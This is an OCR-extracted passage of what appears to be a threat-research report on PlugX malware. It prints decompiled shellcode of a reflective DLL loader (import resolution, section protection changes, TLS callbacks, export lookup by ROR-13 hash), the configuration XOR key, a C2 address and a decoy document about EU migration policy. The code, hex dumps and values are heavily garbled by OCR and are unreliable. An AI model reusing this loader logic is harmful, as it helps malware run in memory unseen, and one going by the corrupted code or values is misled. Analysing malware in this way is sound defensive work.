dlINameRVA = pPlugXNewImportDesc[1].Name;// points to next NameRVA
++pPlugXNewImportDesc; // points to next import (D1ll1)
tmp_var2.pPlugXNewImportDesc = pPlugXNewImportDesc;
}
while ( dllNameRVA );
}

}
// Process Delay Import

page_Protection = IMAGE_SCN_CNT_CODE;

if ( pPlugxNewNtHeaders->OptionalHeader.DataDirectory[0OxD].Size )

{
pDelayLoadDesc = (pPlugxNewBaseAddr + pPlugxNewNtHeaders-

>0ptionalHeader .DataDirectory[OxD].VirtualAddress + 4);
tmp_var2.pdelayImportDesc = pDelayLoadDesc;
D11NameRVA = ADJ(pDelayLoadDesc)->D11NameRVA;
if ( D1lNameRVA )

{
v56 = &ADJ(tmp_var2.pdelayImportDesc)->D11NameRVA;
do

{

module_handle = LoadLibraryA((pPlugxNewBaseAddr + Dl11NameRVA));
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dllHandle.module_handle = module_handle;
ImportAddressTableRVA = (pPlugxNewBaseAddr + ADJ(Vv56)-
>ImportAddressTableRVA);
ImportNameTableRVA = (pPlugxNewBaseAddr + ADJ(v56)->ImportNameTableRVA);
if ( ImportAddressTableRVA->ul.AddressOfData )
{
LdrGetProcedureAddress = tmp_var.LdrGetProcedureAddress;
while ( TRUE )
{
ImportNameRVA = ImportNameTableRVA->ul.AddressOfData;
if ( (ImportNameTableRVA->ul.AddressOfData & 0x80000000) == 0 )
{
len_str_delayAPIName = 0O;
str_delayAPIName = &ImportNameRVA->Name[pPlugxNewBaseAddr];
v102 = str_delayAPIName;
if ( *str_delayAPIName )

{
do

{
++len_str_delayAPIName;
++str_delayAPIName;
}
while ( *str_delayAPIName );
str_delayAPIName = v102;
}
apiName.Length = len_str_delayAPIName;
apiName.MaximumLength = len_str_delayAPIName;
apiName.Buffer = str_delayAPIName;
LdrGetProcedureAddress(module_handle, &apiName, 0O,
&ImportAddressTableRVA->ul.Function);
}

else
{
LdrGetProcedureAddress(module_handle, 0, ImportNameRVA,

&ImportAddressTableRVA->ul.AddressOfData);

}

++ImportAddressTableRVA;

++ImportNameTableRVA;

if ( !'ImportAddressTableRVA->ul.Function )

{
break;
}
module_handle = dllHandle.module_handle;
}
v56 = &ADJ(tmp_var2.pdelayImportDesc)->D11NameRVA;
}
page_Protection = IMAGE_SCN_CNT_CODE;
v56 += 8;

tmp_var2.pdelayImportDesc = v56;
D11NameRVA = ADJ(v56)->D11NameRVA;

}
while ( ADJ(v56)->D11NameRVA );
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}

// check & change section protection
cnt = 0,
if ( pPlugxNewNtHeaders->FileHeader.NumberOfSections )
{
pPlugxNewSectionHeaders = (&pPlugxNewNtHeaders-
>0ptionalHeader .AddressOfEntryPoint + pPlugxNewNtHeaders-
>FileHeader.SizeOfOptionalHeader);
do

{
if ( ADJ(pPlugxNewSectionHeaders)->SizeOfRawData )

{
sectionCharacteristics = ADJ(pPlugxNewSectionHeaders)->Characteristics;
section_can_read = ADJ(pPlugxNewSectionHeaders)->Characteristics &
IMAGE_SCN_MEM_READ;
if ( sectionCharacteristics & IMAGE_SCN_MEM_EXECUTE )

{
if ( section_can_read )
{
flNewProtect = IMAGE_SCN_CNT_INITIALIZED_DATA;
}
else
{
flNewProtect = IMAGE_SCN_CNT_UNINITIALIZED_DATA;
page_Protection = 0x10;
}
if ( sectionCharacteristics >= 0 )
{
flNewProtect = page_Protection;
}
}
else
{
if ( section_can_read )
{
flNewProtect = 4;
page_protection = 2;
}
else
{
flNewProtect = IMAGE_SCN_TYPE_NO_PAD;
page_protection = PAGE_NOACCESS;
}
if ( sectionCharacteristics >= 0 )
{
flNewProtect = page_protection;
}
}

fl0ldProtect = flNewProtect;

if ( ADJ(pPlugxNewSectionHeaders)->Characteristics & IMAGE_SCN_MEM_NOT_CACHED
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}

{
flNewProtect |= IMAGE_SCN_LNK_INFO;

fl0ldProtect = flNewProtect;
}
VirtualProtect(
(pPlugxNewBaseAddr + ADJ(pPlugxNewSectionHeaders)->VirtualAddress),
ADJ(pPlugxNewSectionHeaders)->SizeOfRawData,
flNewProtect,
&fl0ldProtect);

}

++cnt;

pPlugxNewSectionHeaders += OxA; // points to next section
page_Protection = IMAGE_SCN_CNT_CODE;

}

while ( cnt < pPlugxNewNtHeaders->FileHeader.NumberOfSections );

// ExecuteTLS
FlushInstructionCache (OXFFFFFFFF, 0, 0);
if ( pPlugxNewNtHeaders->OptionalHeader.DataDirectory[9].Size )

{

tlsDir = *(pPlugxNewNtHeaders->OptionalHeader.DataDirectory[9].VirtualAddress +

pPlugxNewBaseAddr + OxC);

for ( tlsCallBackFunc = ADJ(tlsDir)->AddressOfCallBacks; ADJ(tlsDir)-

>AddressOfCallBacks; tlsCallBackFunc = ADJ(tlsDir)->AddressOfCallBacks )

}

{
tlsCallBackFunc(pPlugxNewBaseAddr, 1, 0);

++t1lsDir;

}

// exec DllEntryPoint func

((pPlugxNewBaseAddr + pPlugxNewNtHeaders->OptionalHeader.AddressOfEntryPoint))
(pPlugxNewBaseAddr, 1, 0);

if ( !'pre_exportFuncHash )

{
}

return pPlugxNewBaseAddr;

// check Export Directory size
if ( !'pPlugxNewNtHeaders->OptionalHeader.DataDirectory[0].Size )

{
}

return pPlugxNewBaseAddr;

// retrieve export function name

// calc hash and check with pre-hash

// if match, call this export function

exportDirRVA = (pPlugxNewBaseAddr + pPlugxNewNtHeaders-

>0ptionalHeader.DataDirectory[offsetof (IMAGE_NT_HEADERS, Signature)].VirtualAddress);

numExportedNames = exportDirRVA->NumberOfNames;
if ( !'numExportedNames )

{
}

return pPlugxNewBaseAddr;

if ( !exportDirRVA->NumberOfFunctions )
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{
return pPlugxNewBaseAddr;

}
AddressOfNameOrdinalsRVA = exportDirRVA->AddressOfNameOrdinals;
pNameAddressTbl = (pPlugxNewBaseAddr + exportDirRVA->AddressOfNames);
tmp_var.dwExportHash = 0;
pOrdinalsThl = (pPlugxNewBaseAddr + AddressOfNameOrdinalsRVA);
do
{
exportNameRVA = *pNameAddressThbl;
tmp_var2.cnt = 0;
str_exported_func = (pPlugxNewBaseAddr + exportNameRVA);
if ( !str_exported_func )
{
break;
}
chr = *str_exported_func;
if ( *str_exported_func )
{
dwExportHash = tmp_var2.dwExportHash;
do
{
dwExportHash = _ ROR4__(chr + dwExportHash, 0OxD);
chr = *++str_exported_func;
}
while ( *str_exported_func );
tmp_var2.dwExportHash = dwExportHash;
numExportedNames = exportDirRVA->NumberOfNames;
if ( pre_exportFuncHash == dwExportHash )
{
if ( pOrdinalsTbl )
{
exportFunc = (pPlugxNewBaseAddr + *(exportDirRVA->AddressOfFunctions + 4 *
*pOrdinalsThl + pPlugxNewBaseAddr));
if ( dwFlag & 8 )
{
exportFunc(export_arg3, 4); // call export function
}
else
{
exportFunc(export_argl, export_arg2);
}
return pPlugxNewBaseAddr;
}
}

}
++pNameAddressThl;

++pOrdinalsThl;
++tmp_var.cnt;

}

while ( tmp_var.cnt < numExportedNames );
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return pPlugxNewBaseAddr;

}

3.4. Decrypt the configuration of malware

Through the shellcode analysis above, we see that it simply maps the PlugX DIl into memory
and then calls the export function BLMSqofHz. Analyzing this DII, its configuration is stored in
the .data section with a size of 6x460 bytes:

memcpy = plx_retrieve_api_addr(val2, &vu42, v51, @xFACU35CD, v54);
control_state_var = 8x3DB859A69;
}
}

{

( control_state_var = ©x199DD7A6 )
LABEL_28;
memcpy(&g_plx_enc_config_cp, &g_plx_enc_config, @xu4sdu);

.data:1888EB18 g_plx_enc_config db
db
db
db
db
db
db
db
db
db
db
db
db
db
db
db
db
db
db
db
db
db
db
db
db
db
db

The function that performs configuration decryption uses an xor loop with the length of
decryption key is 9:
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( control_state_var = 0xF5541604 )

1
plx_decrypt_config(&g_plx_enc_config_cp, ©0xu6@, xor_key_final, 9);
controllstate_var = 8x199DD7A6;

1
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

control_state_var = OxUF6UBLUF2;

( )
( control_state_var > (int)®xDUA54188 )
( control_state_var > 1D53DFFB )

control_state_var OxAETD6FO6;
i=0;

plx_enc_config[i] = plx_enc_config[i] & ~key[i % key_len] | key[ key_len] & ~plx_enc_config[i];
control_state_var = OXAE/DGFUG,
+Hi;

( control_state_var = @x8DOC56FS )
control_state_var = 0x8DBC56F8;
( config_size )

control_state_var = OxFUB177AF;

control_state_var;

Dump the encrypted config data to disk, after observing | get the decryption key “joh7520CI1".
Here is the configuration information malware after decrypting:

4] plugx_enc_config_0x460.bin 1] plugx_dec_config_0x460.bin

= o= =] e
Offset (h) Decoded text @ 2 03 04 05 06 S OA 0B OC 0D OE OF Decoded text
[Ln7ssec 0 46 07 00 0C 00 20 4p 00 [o..F...tW..L.M.
.I-0.7T2 0 75 00 &1 0 64 61 00 I.G.u.a.r.d.i.a.

xor key 0 66 00 63 O 00 30 00 00
7520CT30RT520C15 0 00 00 00 00 00 0 00 0o
0n7520C140R7520C 0 00 00 00 © 00 0o
I30n7520CI30RT52 0 00 00 00 00 0 00 o0
oCIjiOh7520CI3i0NT 0 00 00 00 O 0 00 0O
520CT§Ch7520CT40 0 00 00 00 © 00 50 00 00
n7520CI30R75~0. 1 0 00 00 00 00 0 00 0 0 4D 00
$0/7@2.C; +n"550 0 75 00 61 © 64 61 00
-1.0:7D2.C83.R75 0 53 00 71 00 D 0 00 oo
20CIjCh7520CIjCh 0 00 00 00 O 00 00 00 00 0 00 0O
7520CT§0nT520CT4 0 00 00 00 00 G0 00 00 0O 0 00 00
0n7520CI30R7520C 0 00 00 00 00 00 00 00 0O 0 00 0o
30r 0 00 00 00 00 G0 00 00 0O 0 00 00
©CI30nT520CI30RT 0 00 00 00 00 00 00 00 OO 00 00 00
520CIjCh75207I.0 0 00 00 00 O 00 00 00 00 65 00
n7 0 00 00 00 00 G0 00 00 0O 50 00 00
50n7520CIi0nT520 ‘ 0 00 00 00 00 00 00 00 0O 0 00 00
CIjOn7520CIjCOnh75 0 00 00 00 O 00 00 00 00 0 00 00
20CI30RT520CT30R 0 00 00 00 00 00 00 00 OO 0 00 o0

7520C130RT520C1] 0 00 00 00 00 00 0O

0n7520CI40R7520C 0 00 00 00 00 00 0O

130n7520CI50R752 0 00 00 00 00 00 0O

7520CI=0.7 0 00 00 00 O 00 00

¥5.0 1.0 74 00 €5 00 6E 0O

C'3:mDS.0, I 65 00 €E 00 74 0O

'3 (nV5@o 0 48 00 75 00 6E 0O

.C130R75 64 00 EF 00 €3 OO
T CIjCh 0 00 00 00 O 00 00 00 00 00 00 00 00
7520CI30nT520CT3 0 00 00 00 00 00 00 00 00 00 00 00 OO
0n7520CI30R7520C 0 00 00 00 00 00 0O 00 00 00 00 00 OO
0 00 00 00 00 G0 00 00 00 00 00 00 OO
0 00 00 00 00 00 0O 00 00 00 00 00 OO
520CIjCh7520CIj0 0 00 00 00 O 00 00 00 00 00 00 00 00
h7520CI30R7 00 00 00 00 00 00 0O 0O 00 00 00 00 00 00 00 OO
JORT520CI50r 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0O
3 35 CIj0nT520CT40RTS 00 00 00 00 00 00 0O 00 00 00 00 00 00 00 00 0O
4F 68 37 35 32 €F 43 49 GA 4F 65 20CI30nTS20CII0R 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0O

We can write a Pythoh script to” parse information like this:
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# plugx_extract_custom_config.py plugx_dec_config_8xU66.bin

[+] Config file: plugx_dec_config_0xU66.bin
[+] Config size: 1120 bytes

[+] Folder name: LMIGuardianpfc

[+] Mutex name: LMIGuardianvSqtmC

[+] Decoy document info:|Written comments of Hungary.docx
[+] C2 servers:

15.90.59.153:443

15.90.59.153:443

15.90.59.153:443
[+] Campaign ID: test

3.5. Extract decoy document

With the above decryption configuration, we see that the malware when executed will drop
and open the decoy document named: Written comments of Hungary.docx to lure the
victim. Going back to the LMIGuardianDat_sc.bin file, we find this decoy document starting
at offset: 0xsF6co. Dump the document to disk, we have information about it as follows:

- - = - W = Written comments of Hungary.docx - Microsoft Word e S

] LMIGuardianDat_sc.bin
Home Insert Page Layout References Mailings Review View Developer @ @
Offsec(h) 00 01 02 03 04 05 06 07 08 09 OR OB OC OD OE OF Decoded text =
- 503 02 30 08 o0 00 00 21 o0 =)
00OBFECO | 50 45 03 06000 00 : Proposal for a Regulation of the European Parliament and of the Council addressing -

0008F6D0 | 31 8D
0008FEED | 6F 6E 74
Q008FEF0 | 6C 20 A2
000&F700 | 00 0O 00
0008F710 | 00 00
0008F720 | 00 o0
0008F730 | 00 00
0008F740 | 00 00
0008F750 | 00 0o
0008F760 | 00 00
0008F770 | 00 00
000&F780 | 0O 0o
Q008F790 | 00 Q0
0008F7A0 | 00 00
Q008F7B0O | 00 00
000&F7CO | 00 o0
0008F7D0 | 00 00
Q008F7EOQ | 00 00

13
&85
00
oo
[s1s)
00
oo
oo
00
oo
0o
00
00
0o
[s1s)
00
0o
[s1s)

) 08
D
) 00
) 00
) 00
) 00
) 00
) 00
) 00
) 00
) 00
) 00
) 00
) 00
) 00
) 00
) 00
) 00

ontent Types].xm| situations of mstrumentalisation in the field of migration (Doc. n.: ST 15152/2021)
‘Written comments of Hungary

General comments

The instrumentalisation of migration is a major challenge for the EU asylum system. but it is
only one part of the overall shortcoming of the asylum policy. because the misuse of
migration can be carried out not only by a third country or by non-state organisations. but also
by smuggling networks or by migrants themselves, however, the current EU legislation does
not provide effective action against it.

»Therefmez the possibility to lodge an asylum application should -in order to tackle the abuse
of asylum - as a general rule. be limited to the temitory outside the EU. At the same time.
access to the termitory of the Member States should be limited to persons who have received a
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Recitals

It is necessary to align the recitals with the text of the Council's general approach on the
proposal for a recast of the Schengen Borders Code. First and foremost. the text should affirm
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End.
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